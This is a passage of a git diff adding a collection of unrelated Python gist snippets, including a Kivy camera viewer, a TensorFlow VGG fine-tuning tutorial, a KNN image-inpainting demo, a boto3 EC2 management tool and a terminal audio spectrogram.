+if __name__ == "__main__":
+    executor = futures.ThreadPoolExecutor(max_workers=2)
+
+    for x in xrange(1,10):
+        executor.submit(process, x)
diff --git a/hard-gists/de261e66949009f44ad2/._snippet.py b/hard-gists/de261e66949009f44ad2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de261e66949009f44ad2/._snippet.py differ
diff --git a/hard-gists/de261e66949009f44ad2/snippet.py b/hard-gists/de261e66949009f44ad2/snippet.py
new file mode 100644
index 00000000..2383c3f7
--- /dev/null
+++ b/hard-gists/de261e66949009f44ad2/snippet.py
@@ -0,0 +1,40 @@
+# coding:utf-8
+from kivy.app import App
+from kivy.uix.image import Image
+from kivy.clock import Clock
+from kivy.graphics.texture import Texture
+import cv2
+
+
+class KivyCamera(Image):
+    def __init__(self, capture, fps, **kwargs):
+        super(KivyCamera, self).__init__(**kwargs)
+        self.capture = capture
+        Clock.schedule_interval(self.update, 1.0 / fps)
+
+    def update(self, dt):
+        ret, frame = self.capture.read()
+        if ret:
+            # convert it to texture
+            buf1 = cv2.flip(frame, 0)
+            buf = buf1.tostring()
+            image_texture = Texture.create(
+                size=(frame.shape[1], frame.shape[0]), colorfmt='bgr')
+            image_texture.blit_buffer(buf, colorfmt='bgr', bufferfmt='ubyte')
+            # display image from the texture
+            self.texture = image_texture
+
+
+class CamApp(App):
+    def build(self):
+        self.capture = cv2.VideoCapture(1)
+        self.my_camera = KivyCamera(capture=self.capture, fps=30)
+        return self.my_camera
+
+    def on_stop(self):
+        #without this, app will not exit even if the window is closed
+        self.capture.release()
+
+
+if __name__ == '__main__':
+    CamApp().run()
diff --git a/hard-gists/de3ab9cb8bb4b7719571/._snippet.py b/hard-gists/de3ab9cb8bb4b7719571/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de3ab9cb8bb4b7719571/._snippet.py differ
diff --git a/hard-gists/de3ab9cb8bb4b7719571/snippet.py b/hard-gists/de3ab9cb8bb4b7719571/snippet.py
new file mode 100644
index 00000000..fa44bdd3
--- /dev/null
+++ b/hard-gists/de3ab9cb8bb4b7719571/snippet.py
@@ -0,0 +1,7 @@
+# coding: utf-8
+
+from objc_util import *
+from Foundation import NSBundle
+
+NSBundle.bundleWithPath_('/System/Library/Frameworks/ReplayKit.framework').load()
+RPScreenRecorder = ObjCClass('RPScreenRecorder')
\ No newline at end of file
diff --git a/hard-gists/de546cb143ebae4a489a482a05ab4beb/._snippet.py b/hard-gists/de546cb143ebae4a489a482a05ab4beb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de546cb143ebae4a489a482a05ab4beb/._snippet.py differ
diff --git a/hard-gists/de546cb143ebae4a489a482a05ab4beb/snippet.py b/hard-gists/de546cb143ebae4a489a482a05ab4beb/snippet.py
new file mode 100644
index 00000000..6db38493
--- /dev/null
+++ b/hard-gists/de546cb143ebae4a489a482a05ab4beb/snippet.py
@@ -0,0 +1,100 @@
+#! /usr/bin/env python
+#
+# Author: Gaute Hope <eg@gaute.vetsj.com> / 2017-10-08
+
+import os, sys, os.path
+import subprocess
+import notmuch
+import email
+import email.parser
+import email.policy
+import shlex
+import json
+
+thread = sys.argv[1]
+mid    = sys.argv[2] if len(sys.argv) > 2 else None
+
+print ("ght: searching for github reference in:", thread, "( message:", mid, ")")
+
+def find_script (fname):
+  """
+  New GitHub messages contain a JSON part with the information.
+  """
+  with open(fname, 'rb') as f:
+    msg = email.message_from_binary_file (f)
+
+    for part in msg.walk ():
+      if part.get_content_type() == "text/html":
+        p = part.get_payload (decode = True).decode ('UTF-8')
+        key = '<script type="application/json" data-scope="inboxmarkup">'
+        script = p.rfind (key)
+        script = p[script+len(key):p.find('</script>', script)]
+
+        j = json.loads (script)
+        return j['updates']['action']['url']
+
+def scan_message (m, generic):
+  with open (m.get_filename(), 'rb') as f:
+    headers = email.parser.BytesParser(policy=email.policy.default).parse(f)
+
+  print ("scanning:", m, headers.get('Message-Id'), "generic:", generic)
+
+  s = headers.get('X-GitHub-Sender', None)
+  if s is None: return None
+
+  url = find_script (m.get_filename())
+  if url is None:
+    print ("ght: old issue, falling back manually scanning email..")
+    if generic:
+      ref = headers.get('In-Reply-To').split ('@')[0][1:]
+      url = 'https://github.com/' + ref # fallback
+    else:
+      ref = headers.get('In-Reply-To').split ('@')[0][1:]
+      mid  = headers.get('Message-Id').split('@')[0][1:]
+      cmnt = os.path.basename (mid)
+      url = 'https://github.com/' + ref + "#issuecomment-" + cmnt
+
+  return url
+
+
+def open_url (u):
+  print ("opening: ", u)
+
+  p = subprocess.Popen (['xdg-open', u ], stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
+
+db = notmuch.Database()
+
+if mid is not None:
+  print ("ght: first trying message..")
+  m = db.find_message (mid)
+  if m is not None:
+    url = scan_message (m, False)
+    if url:
+      open_url (url)
+      sys.exit (1) # non-zero to avoid updating thread
+
+      # fall through to thread if not found..
+  print ("ght: could not find url in message, trying thread..")
+
+q = db.create_query ("thread:" + thread)
+
+# scanning oldest message first should give us generic url.
+q.set_sort (notmuch.Query.SORT.OLDEST_FIRST)
+
+msgs = q.search_messages ()
+for m in msgs:
+  # take first message
+  url = scan_message (m, True)
+  if url:
+    open_url (url)
+    break
+
+# we have to do this so that the query object is not gc'ed before its dependents and we
+# get a segfault.
+del m
+del msgs
+del q
+
+db.close ()
+
+sys.exit (1) # non-zero to avoid updating thread
diff --git a/hard-gists/dedc857cdc0e680dfb1be99762990c9c/._snippet.py b/hard-gists/dedc857cdc0e680dfb1be99762990c9c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dedc857cdc0e680dfb1be99762990c9c/._snippet.py differ
diff --git a/hard-gists/dedc857cdc0e680dfb1be99762990c9c/snippet.py b/hard-gists/dedc857cdc0e680dfb1be99762990c9c/snippet.py
new file mode 100644
index 00000000..a84e09f1
--- /dev/null
+++ b/hard-gists/dedc857cdc0e680dfb1be99762990c9c/snippet.py
@@ -0,0 +1,341 @@
+"""
+Example TensorFlow script for finetuning a VGG model on your own data.
+Uses tf.contrib.data module which is in release v1.2
+Based on PyTorch example from Justin Johnson
+(https://gist.github.com/jcjohnson/6e41e8512c17eae5da50aebef3378a4c)
+
+Required packages: tensorflow (v1.2)
+Download the weights trained on ImageNet for VGG:
+```
+wget http://download.tensorflow.org/models/vgg_16_2016_08_28.tar.gz
+tar -xvf vgg_16_2016_08_28.tar.gz
+rm vgg_16_2016_08_28.tar.gz
+```
+For this example we will use a tiny dataset of images from the COCO dataset.
+We have chosen eight types of animals (bear, bird, cat, dog, giraffe, horse,
+sheep, and zebra); for each of these categories we have selected 100 training
+images and 25 validation images from the COCO dataset. You can download and
+unpack the data (176 MB) by running:
+```
+wget cs231n.stanford.edu/coco-animals.zip
+unzip coco-animals.zip
+rm coco-animals.zip
+```
+The training data is stored on disk; each category has its own folder on disk
+and the images for that category are stored as .jpg files in the category folder.
+In other words, the directory structure looks something like this:
+coco-animals/
+  train/
+    bear/
+      COCO_train2014_000000005785.jpg
+      COCO_train2014_000000015870.jpg
+      [...]
+    bird/
+    cat/
+    dog/
+    giraffe/
+    horse/
+    sheep/
+    zebra/
+  val/
+    bear/
+    bird/
+    cat/
+    dog/
+    giraffe/
+    horse/
+    sheep/
+    zebra/
+"""
+
+import argparse
+import os
+
+import tensorflow as tf
+import tensorflow.contrib.slim as slim
+import tensorflow.contrib.slim.nets
+
+
+parser = argparse.ArgumentParser()
+parser.add_argument('--train_dir', default='coco-animals/train')
+parser.add_argument('--val_dir', default='coco-animals/val')
+parser.add_argument('--model_path', default='vgg_16.ckpt', type=str)
+parser.add_argument('--batch_size', default=32, type=int)
+parser.add_argument('--num_workers', default=4, type=int)
+parser.add_argument('--num_epochs1', default=10, type=int)
+parser.add_argument('--num_epochs2', default=10, type=int)
+parser.add_argument('--learning_rate1', default=1e-3, type=float)
+parser.add_argument('--learning_rate2', default=1e-5, type=float)
+parser.add_argument('--dropout_keep_prob', default=0.5, type=float)
+parser.add_argument('--weight_decay', default=5e-4, type=float)
+
+VGG_MEAN = [123.68, 116.78, 103.94]
+
+
+def list_images(directory):
+    """
+    Get all the images and labels in directory/label/*.jpg
+    """
+    labels = os.listdir(directory)
+    # Sort the labels so that training and validation get them in the same order
+    labels.sort()
+
+    files_and_labels = []
+    for label in labels:
+        for f in os.listdir(os.path.join(directory, label)):
+            files_and_labels.append((os.path.join(directory, label, f), label))
+
+    filenames, labels = zip(*files_and_labels)
+    filenames = list(filenames)
+    labels = list(labels)
+    unique_labels = list(set(labels))
+
+    label_to_int = {}
+    for i, label in enumerate(unique_labels):
+        label_to_int[label] = i
+
+    labels = [label_to_int[l] for l in labels]
+
+    return filenames, labels
+
+
+def check_accuracy(sess, correct_prediction, is_training, dataset_init_op):
+    """
+    Check the accuracy of the model on either train or val (depending on dataset_init_op).
+    """
+    # Initialize the correct dataset
+    sess.run(dataset_init_op)
+    num_correct, num_samples = 0, 0
+    while True:
+        try:
+            correct_pred = sess.run(correct_prediction, {is_training: False})
+            num_correct += correct_pred.sum()
+            num_samples += correct_pred.shape[0]
+        except tf.errors.OutOfRangeError:
+            break
+
+    # Return the fraction of datapoints that were correctly classified
+    acc = float(num_correct) / num_samples
+    return acc
+
+
+def main(args):
+    # Get the list of filenames and corresponding list of labels for training et validation
+    train_filenames, train_labels = list_images(args.train_dir)
+    val_filenames, val_labels = list_images(args.val_dir)
+    assert set(train_labels) == set(val_labels),\
+           "Train and val labels don't correspond:\n{}\n{}".format(set(train_labels),
+                                                                   set(val_labels))
+
+    num_classes = len(set(train_labels))
+
+    # --------------------------------------------------------------------------
+    # In TensorFlow, you first want to define the computation graph with all the
+    # necessary operations: loss, training op, accuracy...
+    # Any tensor created in the `graph.as_default()` scope will be part of `graph`
+    graph = tf.Graph()
+    with graph.as_default():
+        # Standard preprocessing for VGG on ImageNet taken from here:
+        # https://github.com/tensorflow/models/blob/master/research/slim/preprocessing/vgg_preprocessing.py
+        # Also see the VGG paper for more details: https://arxiv.org/pdf/1409.1556.pdf
+
+        # Preprocessing (for both training and validation):
+        # (1) Decode the image from jpg format
+        # (2) Resize the image so its smaller side is 256 pixels long
+        def _parse_function(filename, label):
+            image_string = tf.read_file(filename)
+            image_decoded = tf.image.decode_jpeg(image_string, channels=3)          # (1)
+            image = tf.cast(image_decoded, tf.float32)
+
+            smallest_side = 256.0
+            height, width = tf.shape(image)[0], tf.shape(image)[1]
+            height = tf.to_float(height)
+            width = tf.to_float(width)
+
+            scale = tf.cond(tf.greater(height, width),
+                            lambda: smallest_side / width,
+                            lambda: smallest_side / height)
+            new_height = tf.to_int32(height * scale)
+            new_width = tf.to_int32(width * scale)
+
+            resized_image = tf.image.resize_images(image, [new_height, new_width])  # (2)
+            return resized_image, label
+
+        # Preprocessing (for training)
+        # (3) Take a random 224x224 crop to the scaled image
+        # (4) Horizontally flip the image with probability 1/2
+        # (5) Substract the per color mean `VGG_MEAN`
+        # Note: we don't normalize the data here, as VGG was trained without normalization
+        def training_preprocess(image, label):
+            crop_image = tf.random_crop(image, [224, 224, 3])                       # (3)
+            flip_image = tf.image.random_flip_left_right(crop_image)                # (4)
+
+            means = tf.reshape(tf.constant(VGG_MEAN), [1, 1, 3])
+            centered_image = flip_image - means                                     # (5)
+
+            return centered_image, label
+
+        # Preprocessing (for validation)
+        # (3) Take a central 224x224 crop to the scaled image
+        # (4) Substract the per color mean `VGG_MEAN`
+        # Note: we don't normalize the data here, as VGG was trained without normalization
+        def val_preprocess(image, label):
+            crop_image = tf.image.resize_image_with_crop_or_pad(image, 224, 224)    # (3)
+
+            means = tf.reshape(tf.constant(VGG_MEAN), [1, 1, 3])
+            centered_image = crop_image - means                                     # (4)
+
+            return centered_image, label
+
+        # ----------------------------------------------------------------------
+        # DATASET CREATION using tf.contrib.data.Dataset
+        # https://github.com/tensorflow/tensorflow/tree/master/tensorflow/contrib/data
+
+        # The tf.contrib.data.Dataset framework uses queues in the background to feed in
+        # data to the model.
+        # We initialize the dataset with a list of filenames and labels, and then apply
+        # the preprocessing functions described above.
+        # Behind the scenes, queues will load the filenames, preprocess them with multiple
+        # threads and apply the preprocessing in parallel, and then batch the data
+
+        # Training dataset
+        train_dataset = tf.contrib.data.Dataset.from_tensor_slices((train_filenames, train_labels))
+        train_dataset = train_dataset.map(_parse_function,
+            num_threads=args.num_workers, output_buffer_size=args.batch_size)
+        train_dataset = train_dataset.map(training_preprocess,
+            num_threads=args.num_workers, output_buffer_size=args.batch_size)
+        train_dataset = train_dataset.shuffle(buffer_size=10000)  # don't forget to shuffle
+        batched_train_dataset = train_dataset.batch(args.batch_size)
+
+        # Validation dataset
+        val_dataset = tf.contrib.data.Dataset.from_tensor_slices((val_filenames, val_labels))
+        val_dataset = val_dataset.map(_parse_function,
+            num_threads=args.num_workers, output_buffer_size=args.batch_size)
+        val_dataset = val_dataset.map(val_preprocess,
+            num_threads=args.num_workers, output_buffer_size=args.batch_size)
+        batched_val_dataset = val_dataset.batch(args.batch_size)
+
+
+        # Now we define an iterator that can operator on either dataset.
+        # The iterator can be reinitialized by calling:
+        #     - sess.run(train_init_op) for 1 epoch on the training set
+        #     - sess.run(val_init_op)   for 1 epoch on the valiation set
+        # Once this is done, we don't need to feed any value for images and labels
+        # as they are automatically pulled out from the iterator queues.
+
+        # A reinitializable iterator is defined by its structure. We could use the
+        # `output_types` and `output_shapes` properties of either `train_dataset`
+        # or `validation_dataset` here, because they are compatible.
+        iterator = tf.contrib.data.Iterator.from_structure(batched_train_dataset.output_types,
+                                                           batched_train_dataset.output_shapes)
+        images, labels = iterator.get_next()
+
+        train_init_op = iterator.make_initializer(batched_train_dataset)
+        val_init_op = iterator.make_initializer(batched_val_dataset)
+
+        # Indicates whether we are in training or in test mode
+        is_training = tf.placeholder(tf.bool)
+
+        # ---------------------------------------------------------------------
+        # Now that we have set up the data, it's time to set up the model.
+        # For this example, we'll use VGG-16 pretrained on ImageNet. We will remove the
+        # last fully connected layer (fc8) and replace it with our own, with an
+        # output size num_classes=8
+        # We will first train the last layer for a few epochs.
+        # Then we will train the entire model on our dataset for a few epochs.
+
+        # Get the pretrained model, specifying the num_classes argument to create a new
+        # fully connected replacing the last one, called "vgg_16/fc8"
+        # Each model has a different architecture, so "vgg_16/fc8" will change in another model.
+        # Here, logits gives us directly the predicted scores we wanted from the images.
+        # We pass a scope to initialize "vgg_16/fc8" weights with he_initializer
+        vgg = tf.contrib.slim.nets.vgg
+        with slim.arg_scope(vgg.vgg_arg_scope(weight_decay=args.weight_decay)):
+            logits, _ = vgg.vgg_16(images, num_classes=num_classes, is_training=is_training,
+                                   dropout_keep_prob=args.dropout_keep_prob)
+
+        # Specify where the model checkpoint is (pretrained weights).
+        model_path = args.model_path
+        assert(os.path.isfile(model_path))
+
+        # Restore only the layers up to fc7 (included)
+        # Calling function `init_fn(sess)` will load all the pretrained weights.
+        variables_to_restore = tf.contrib.framework.get_variables_to_restore(exclude=['vgg_16/fc8'])
+        init_fn = tf.contrib.framework.assign_from_checkpoint_fn(model_path, variables_to_restore)
+
+        # Initialization operation from scratch for the new "fc8" layers
+        # `get_variables` will only return the variables whose name starts with the given pattern
+        fc8_variables = tf.contrib.framework.get_variables('vgg_16/fc8')
+        fc8_init = tf.variables_initializer(fc8_variables)
+
+        # ---------------------------------------------------------------------
+        # Using tf.losses, any loss is added to the tf.GraphKeys.LOSSES collection
+        # We can then call the total loss easily
+        tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)
+        loss = tf.losses.get_total_loss()
+
+        # First we want to train only the reinitialized last layer fc8 for a few epochs.
+        # We run minimize the loss only with respect to the fc8 variables (weight and bias).
+        fc8_optimizer = tf.train.GradientDescentOptimizer(args.learning_rate1)
+        fc8_train_op = fc8_optimizer.minimize(loss, var_list=fc8_variables)
+
+        # Then we want to finetune the entire model for a few epochs.
+        # We run minimize the loss only with respect to all the variables.
+        full_optimizer = tf.train.GradientDescentOptimizer(args.learning_rate2)
+        full_train_op = full_optimizer.minimize(loss)
+
+        # Evaluation metrics
+        prediction = tf.to_int32(tf.argmax(logits, 1))
+        correct_prediction = tf.equal(prediction, labels)
+        accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))
+
+        tf.get_default_graph().finalize()
+
+    # --------------------------------------------------------------------------
+    # Now that we have built the graph and finalized it, we define the session.
+    # The session is the interface to *run* the computational graph.
+    # We can call our training operations with `sess.run(train_op)` for instance
+    with tf.Session(graph=graph) as sess:
+        init_fn(sess)  # load the pretrained weights
+        sess.run(fc8_init)  # initialize the new fc8 layer
+
+        # Update only the last layer for a few epochs.
+        for epoch in range(args.num_epochs1):
+            # Run an epoch over the training data.
+            print('Starting epoch %d / %d' % (epoch + 1, args.num_epochs1))
+            # Here we initialize the iterator with the training set.
+            # This means that we can go through an entire epoch until the iterator becomes empty.
+            sess.run(train_init_op)
+            while True:
+                try:
+                    _ = sess.run(fc8_train_op, {is_training: True})
+                except tf.errors.OutOfRangeError:
+                    break
+
+            # Check accuracy on the train and val sets every epoch.
+            train_acc = check_accuracy(sess, correct_prediction, is_training, train_init_op)
+            val_acc = check_accuracy(sess, correct_prediction, is_training, val_init_op)
+            print('Train accuracy: %f' % train_acc)
+            print('Val accuracy: %f\n' % val_acc)
+
+
+        # Train the entire model for a few more epochs, continuing with the *same* weights.
+        for epoch in range(args.num_epochs2):
+            print('Starting epoch %d / %d' % (epoch + 1, args.num_epochs2))
+            sess.run(train_init_op)
+            while True:
+                try:
+                    _ = sess.run(full_train_op, {is_training: True})
+                except tf.errors.OutOfRangeError:
+                    break
+
+            # Check accuracy on the train and val sets every epoch
+            train_acc = check_accuracy(sess, correct_prediction, is_training, train_init_op)
+            val_acc = check_accuracy(sess, correct_prediction, is_training, val_init_op)
+            print('Train accuracy: %f' % train_acc)
+            print('Val accuracy: %f\n' % val_acc)
+
+
+if __name__ == '__main__':
+    args = parser.parse_args()
+    main(args)
\ No newline at end of file
diff --git a/hard-gists/df0b30453338946e639449710862822d/._snippet.py b/hard-gists/df0b30453338946e639449710862822d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/df0b30453338946e639449710862822d/._snippet.py differ
diff --git a/hard-gists/df0b30453338946e639449710862822d/snippet.py b/hard-gists/df0b30453338946e639449710862822d/snippet.py
new file mode 100644
index 00000000..609d274d
--- /dev/null
+++ b/hard-gists/df0b30453338946e639449710862822d/snippet.py
@@ -0,0 +1,93 @@
+import numpy as np
+import pandas as pd
+import pylab as pl
+import os
+
+from sklearn.neighbors import KNeighborsClassifier
+from IPython.core.pylabtools import figsize
+from PIL import Image
+
+def load_image(filename):
+    im = Image.open(filename)
+    if im.mode is not 'RGBA':
+        return im.convert(mode='RGBA')
+    return im
+
+def convert_to_dataframe(image):
+    pixels = image.load()
+    data = []
+    all_colors = []
+    for x in range(0, image.width):
+        for y in range (0, image.height):
+            pixel_color = rgba_to_hex(pixels[image.width - x - 1, image.height - y - 1])
+            data.append([x, y, pixel_color])
+            all_colors.append(pixel_color)
+    return data, set(all_colors)
+
+def rgba_to_hex(rgba_tuple):
+    assert type(rgba_tuple) == tuple and len(rgba_tuple) == 4
+    return "#{:02x}{:02x}{:02x}".format(rgba_tuple[0], rgba_tuple[1], rgba_tuple[2])
+
+def save_to_file(filename, dataframes, size):
+    ni = Image.new('RGBA', size, '#ff00ff')
+    pixels = ni.load()
+    for df in dataframes:
+        for row in df.itertuples():
+            pixels[size[0] - 1 - row.x, size[1] - 1 - row.y] = hex_to_rgba(row.color)
+    ni.save(filename)
+
+def hex_to_rgba(hex_string):
+    return int(hex_string[1:3], 16), int(hex_string[3:5], 16), int(hex_string[5:7], 16), 255
+
+def plot_k(data):
+    accuracy = get_accuracy(data)
+    results = pd.DataFrame(accuracy, columns=["n", "accuracy"])
+    pl.plot(results.n, results.accuracy)
+    pl.title("Accuracy for variable K")
+    pl.show()
+
+def get_accuracy(data):
+    accuracy = []
+    print "Plotting K..."
+    is_missing = np.random.uniform(0, 1, len(data)) > 0.8
+    train = data[is_missing == False]
+    test = data[is_missing == True]
+    for n in range(1, 20, 1):
+        clf = KNeighborsClassifier(n_neighbors=n)
+        clf.fit(train[['x', 'y']], train['color'])
+        preds = clf.predict(test[['x', 'y']])
+        k_accuracy = np.where(preds==test['color'], 1, 0).sum() / float(len(test))
+        print "Neighbors: %d, Accuracy: %3f" % (n, k_accuracy)
+
+        accuracy.append([n, k_accuracy])
+    return accuracy
+
+def run(image_name):
+    im = load_image(image_name)
+    filename, file_extension = os.path.splitext(image_name)
+    data, all_cols = convert_to_dataframe(im)
+    df = pd.DataFrame(data, columns=['x', 'y', 'color'])
+
+
+    # generate missing data (in our case this is the same as our trainig/test sets)
+    is_missing = np.random.uniform(0, 1, len(df)) > 0.7
+    print "Total number of pixels:", len(df), "Pixels available:", np.where(is_missing==False)[0].size, "Pixels missing:", np.where(is_missing==True)[0].size
+    train = df[is_missing==False]
+    test = df[is_missing==True]
+    save_to_file('{}_missing{}'.format(filename, file_extension), [train], (im.width, im.height))
+
+    # Uncomment the following line to run the k-finding function
+    # Caution: This will likely take a long time!
+    # plot_k(train)
+
+    clf = KNeighborsClassifier(n_neighbors=3)
+    clf.fit(train[['x', 'y']], train['color'])
+
+    save_to_file('{}_test{}'.format(filename, file_extension), [test], (im.width, im.height))
+    preds = clf.predict(test[['x', 'y']])
+    test.color = preds
+
+    save_to_file('{}_predicted{}'.format(filename, file_extension), [test], (im.width, im.height))
+    save_to_file('{}_combined{}'.format(filename, file_extension), [train, test], (im.width, im.height))
+
+run('tree.png')
\ No newline at end of file
diff --git a/hard-gists/df47cd6aea9eeac153ff/._snippet.py b/hard-gists/df47cd6aea9eeac153ff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/df47cd6aea9eeac153ff/._snippet.py differ
diff --git a/hard-gists/df47cd6aea9eeac153ff/snippet.py b/hard-gists/df47cd6aea9eeac153ff/snippet.py
new file mode 100644
index 00000000..da041ea0
--- /dev/null
+++ b/hard-gists/df47cd6aea9eeac153ff/snippet.py
@@ -0,0 +1,200 @@
+#!/usr/bin/env python
+
+# Simple [boto3](https://github.com/boto/boto3) based EC2 manipulation tool
+#
+# To start an instance, create a yaml file with the following format:
+#
+# frankfurt:
+# - subnet-azb:
+#   - type: t2.micro
+#     image: image-tagname
+#     name: myinstance
+#     key: mykey
+#     data: 10
+#     ipaddr: 10.1.1.2
+#     sg: [ssh-icmp-reply, http-https]
+#
+# where `data` is the size, in GB of an optional secondary block device
+# hardcoded to be referenced as `/dev/xvdb`
+#
+# In this file you can list many instances after the subnet, multiples subnets
+# after the region, and also multiples regions.
+#
+# Then call: ./script.py create /path/to/file.yaml
+#
+# To terminaye this instance and its associated volumes:
+#
+# $ ./script.py rm <aws instance id>
+#
+# To list all the instances within a region:
+#
+# $ ./script.py ls
+#
+# `rm` and `ls` functions need the `EC2REGION` environment variable to be setup
+# according to the content of ~/.aws/credentials, refer to:
+# http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html
+# for more information on `awscli`.
+
+import boto3
+import os
+import sys
+import yaml
+import time
+
+if len(sys.argv) < 2:
+    print "usage: {0} <function> [arguments]"
+    sys.exit(1)
+
+region = os.environ.get('EC2REGION')
+
+if region is None:
+    print "Please add a region or set the EC2REGION environment variable."
+    sys.exit(1)
+
+print "> working on region: {0}".format(region)
+
+def init_session(r = None):
+    if r is None:
+        r = region
+    s = boto3.session.Session(profile_name=r)
+    return s.resource('ec2')
+
+def ls():
+    ec2 = init_session()
+    for i in ec2.instances.all():
+        if i.tags is None:
+            continue
+        for t in i.tags:
+            if t['Key'] == 'Name':
+                print "{0} / {1} {2} ({3}) - [{4}]".format(
+                    region, i.id, t['Value'], i.instance_type, i.state['Name']
+                )
+
+def get_id_from_tag(ec2obj, tag):
+    for o in ec2obj.filter(Filters=[{'Name': 'tag:Name', 'Values': [tag]}]):
+        return o.id
+
+    return None
+
+def mktag(val):
+    return [{'Key': 'Name', 'Value': val}]
+
+def create():
+    if len(sys.argv) < 3:
+        print("usage: {0} create <path/to/description.yaml>")
+        sys.exit(1)
+
+    try:
+        with open(sys.argv[2], 'r') as f:
+            y = yaml.load(f.read())
+    except IOError:
+        print "{0} not found.".format(sys.argv[2])
+        sys.exit(1)
+
+    for reg in y: # loop through regions
+        ec2 = init_session(reg)
+        for azlst in y[reg]: # loop through AZ list
+            for az in azlst: # loop through AZ
+                for instance in azlst[az]:
+
+                    if 'awsid' in instance:
+                        reply = raw_input(
+                            '{0} exists as {1}, continue? [y/N] '.format(
+                                instance['name'], instance['awsid']
+                            )
+                        )
+                        if reply[0] != 'y':
+                            continue
+
+                    image = get_id_from_tag(ec2.images, instance['image'])
+                    sg = []
+                    for sglist in instance['sg']:
+                        sg.append(get_id_from_tag(ec2.security_groups, sglist))
+                    subnet = get_id_from_tag(ec2.subnets, az)
+
+                    if 'data' in instance:
+                        blockdevmap = [
+                            {
+                                'DeviceName': '/dev/xvdb',
+                                'Ebs': {
+                                    'VolumeSize': instance['data'],
+                                    'DeleteOnTermination': True,
+                                }
+                            }
+                        ]
+                    else:
+                        blockdevmap = []
+
+                    print("creating instance {0}".format(instance['image']))
+                    rc = ec2.create_instances(
+                        ImageId = image,
+                        MinCount = 1,
+                        MaxCount = 1,
+                        KeyName = instance['key'],
+                        SecurityGroupIds = sg,
+                        InstanceType = instance['type'],
+                        BlockDeviceMappings = blockdevmap,
+                        SubnetId = subnet,
+                        PrivateIpAddress = instance['ipaddr']
+                    )
+
+                    iid = rc[0].id
+
+                    print(
+                        "tagging instance id {0} to {1}".format(
+                            iid, instance['name']
+                        )
+                    )
+                    # give the instance a tag name
+                    ec2.create_tags(
+                        Resources = [iid],
+                        Tags = mktag(instance['name'])
+                    )
+
+                    instance['awsid'] = iid
+                    with open(sys.argv[2], 'w') as f:
+                        yaml.dump(y, f, default_flow_style=False)
+
+                    if not blockdevmap:
+                        continue
+
+                    devlst = []
+                    print("waiting for block devices to rise")
+                    while not devlst:
+                        devlst = ec2.Instance(iid).block_device_mappings
+                        time.sleep(1)
+
+                    for dev in devlst:
+                        dname = dev['DeviceName'][5:]
+                        print(
+                            "tagging volume {0} to {1}_{2}".format(
+                                dev['Ebs']['VolumeId'],
+                                dname,
+                                instance['name']
+                            )
+                        )
+                        ec2.create_tags(
+                            Resources = [dev['Ebs']['VolumeId']],
+                            Tags = mktag(
+                                '{0}_{1}'.format(
+                                        dname, instance['name']
+                                )
+                            )
+                        )
+
+def rm():
+    if len(sys.argv) < 3:
+        print("usage: {0} rm <aws instance id>")
+        sys.exit(1)
+
+    ec2 = init_session()
+
+    try:
+        ec2.instances.filter(InstanceIds=[sys.argv[2]]).terminate()
+    except:
+        print('error while terminating {0}'.format(sys.argv[2]))
+        sys.exit(1)
+
+
+if __name__ == '__main__':
+    getattr(sys.modules[__name__], sys.argv[1])()
\ No newline at end of file
diff --git a/hard-gists/df919538bcef391bc89f/._snippet.py b/hard-gists/df919538bcef391bc89f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/df919538bcef391bc89f/._snippet.py differ
diff --git a/hard-gists/df919538bcef391bc89f/snippet.py b/hard-gists/df919538bcef391bc89f/snippet.py
new file mode 100644
index 00000000..e918f2f6
--- /dev/null
+++ b/hard-gists/df919538bcef391bc89f/snippet.py
@@ -0,0 +1,80 @@
+#!/usr/bin/python
+
+import numpy
+import pyaudio
+import re
+import sys
+
+WIDTH = 79
+BOOST = 1.0
+
+
+# Create a nice output gradient using ANSI escape sequences.
+cols = [30, 34, 35, 91, 93, 97]
+chars = [(' ', False), (':', False), ('%', False), ('#', False),
+         ('#', True), ('%', True), (':', True)]
+gradient = []
+for bg, fg in zip(cols, cols[1:]):
+    for char, invert in chars:
+        if invert:
+            bg, fg = fg, bg
+        gradient.append('\x1b[{};{}m{}'.format(fg, bg + 10, char))
+
+
+class Spectrogram(object):
+    def __init__(self):
+        self.audio = pyaudio.PyAudio()
+
+    def __enter__(self):
+        """Open the microphone stream."""
+        device_index = self.find_input_device()
+        device_info = self.audio.get_device_info_by_index(device_index)
+        rate = int(device_info['defaultSampleRate'])
+
+        self.buffer_size = int(rate * 0.02)
+        self.stream = self.audio.open(format=pyaudio.paInt16,
+                                      channels=1, rate=rate, input=True,
+                                      input_device_index=device_index,
+                                      frames_per_buffer=self.buffer_size)
+        return self
+
+    def __exit__(self, *ignored):
+        """Close the microphone stream."""
+        self.stream.close()
+
+    def find_input_device(self):
+        """
+        Find a microphone input device. Return None if no preferred
+        deveice was found, and the default should be used.
+        """
+        for i in range(self.audio.get_device_count()):
+            name = self.audio.get_device_info_by_index(i)['name']
+            if re.match('mic|input', name, re.I):
+                return i
+        return None
+
+    def color(self, x):
+        """
+        Given 0 <= x <= 1 (input is clamped), return a string of ANSI
+        escape sequences representing a gradient color.
+        """
+        x = max(0.0, min(1.0, x))
+        return gradient[int(x * (len(gradient) - 1))]
+
+    def listen(self):
+        """Listen for one buffer of audio and print a gradient."""
+        block_string = self.stream.read(self.buffer_size)
+        block = numpy.fromstring(block_string, dtype='h') / 32768.0
+        nbands = 30 * WIDTH
+        fft = abs(numpy.fft.fft(block, n=nbands))
+
+        pos, neg = numpy.split(fft, 2)
+        bands = (pos + neg[::-1]) / float(nbands) * BOOST
+        line = (self.color(x) for x in bands[:WIDTH])
+        print ''.join(line) + '\x1b[0m'
+        sys.stdout.flush()
+
+if __name__ == '__main__':
+    with Spectrogram() as s:
+        while True:
+            s.listen()
